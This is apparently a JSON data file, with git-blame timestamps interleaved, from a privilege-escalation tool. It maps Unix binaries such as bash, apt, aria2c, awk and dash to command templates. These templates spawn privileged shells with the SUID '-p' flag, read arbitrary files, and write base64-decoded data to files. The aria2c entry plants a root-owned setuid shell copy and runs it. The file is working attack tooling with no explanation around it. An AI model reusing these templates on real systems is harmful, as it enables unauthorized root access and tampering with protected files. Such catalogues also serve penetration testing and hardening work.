2020-05-09 06:49:38 +02:00
[
{
"name" : "bash" ,
2020-05-09 21:02:04 +02:00
"shell" : {
"script" : "{command}" ,
"suid" : [ "-p" ]
} ,
2020-05-09 06:49:38 +02:00
"read_file" : "{path} -p -c \"cat {lfile}\"" ,
"write_file" : {
"type" : "base64" ,
"payload" : "{path} -p -c \"echo -n {data} | base64 -d > {lfile}\""
} ,
"command" : "{path} -p -c {command}"
2020-05-09 09:28:58 +02:00
} ,
{
"name" : "apt-get" ,
"shell" : {
2020-05-09 21:02:04 +02:00
"need" : [ "changelog" , "apt" ] ,
2020-05-09 09:28:58 +02:00
"input" : "!{shell}\n" ,
"exit" : "exit\nq\n"
}
} ,
{
"name" : "apt" ,
"shell" : {
2020-05-09 21:02:04 +02:00
"need" : [ "changelog" , "apt" ] ,
2020-05-09 09:28:58 +02:00
"input" : "!{shell}\n" ,
"exit" : "exit\nq\n"
}
} ,
{
"name" : "aria2c" ,
2020-05-09 21:02:04 +02:00
"shell" : {
"script" : "TF=$(mktemp); SHELL=$(mktemp); cp {shell} $SHELL; echo \"chown root:root $SHELL; chmod +sx $SHELL;\" > $TF;chmod +x $TF; {command}; sleep 1; $SHELL -p" ,
"need" : [ "--on-download-error=$TF" , "http://x" ]
}
2020-05-09 23:05:18 +02:00
} ,
{
"name" : "cat" ,
"read_file" : "{path} {lfile}"
2020-05-10 00:36:51 +02:00
} ,
{
"name" : "arp" ,
"read_file" : "{path} -v -f {lfile} 2>&1 | while read line; do substring=\"\"; if ! test \"${{line#*arp}}\" != \"$line\"; then echo ${{line#>> }}; fi; done" ,
"safe" : false
} ,
{
"name" : "ash" ,
"shell" : {
"script" : "{command}" ,
"suid" : [ "-p" ]
} ,
"read_file" : "{path} -p -c \"cat {lfile}\"" ,
"write_file" : {
"type" : "base64" ,
"payload" : "{path} -p -c \"echo -n {data} | base64 -d > {lfile}\""
} ,
"command" : "{path} -p -c {command}"
} ,
2020-05-10 01:00:15 +02:00
{
"name" : "awk" ,
"shell" : {
"script" : "{command} 'BEGIN {{system(\"/bin/sh\")}}'"
} ,
"read_file" : "{path} '//' {lfile}" ,
"write_file" : {
"type" : "base64" ,
"payload" : "{path} -v LFILE={lfile} 'BEGIN {{ \"echo \\\"{data}\\\" | base64 -d\" | getline x ; print x > LFILE }}'"
}
} ,
{
"name" : "gawk" ,
"shell" : {
"script" : "{command} 'BEGIN {{system(\"/bin/sh\")}}'"
} ,
"read_file" : "{path} '//' {lfile}" ,
"write_file" : {
"type" : "base64" ,
"payload" : "{path} -v LFILE={lfile} 'BEGIN {{ \"echo \\\"{data}\\\" | base64 -d\" | getline x ; print x > LFILE }}'"
}
} ,
2020-05-10 00:36:51 +02:00
{
"name" : "dash" ,
"shell" : {
"script" : "{command}" ,
"suid" : [ "-p" ]
} ,
"read_file" : "{path} -p -c \"cat {lfile}\"" ,
"write_file" : {
"type" : "base64" ,
"payload" : "{path} -p -c \"echo -n {data} | base64 -d > {lfile}\""
} ,
"command" : "{path} -p -c {command}"
2020-05-09 06:49:38 +02:00
}
]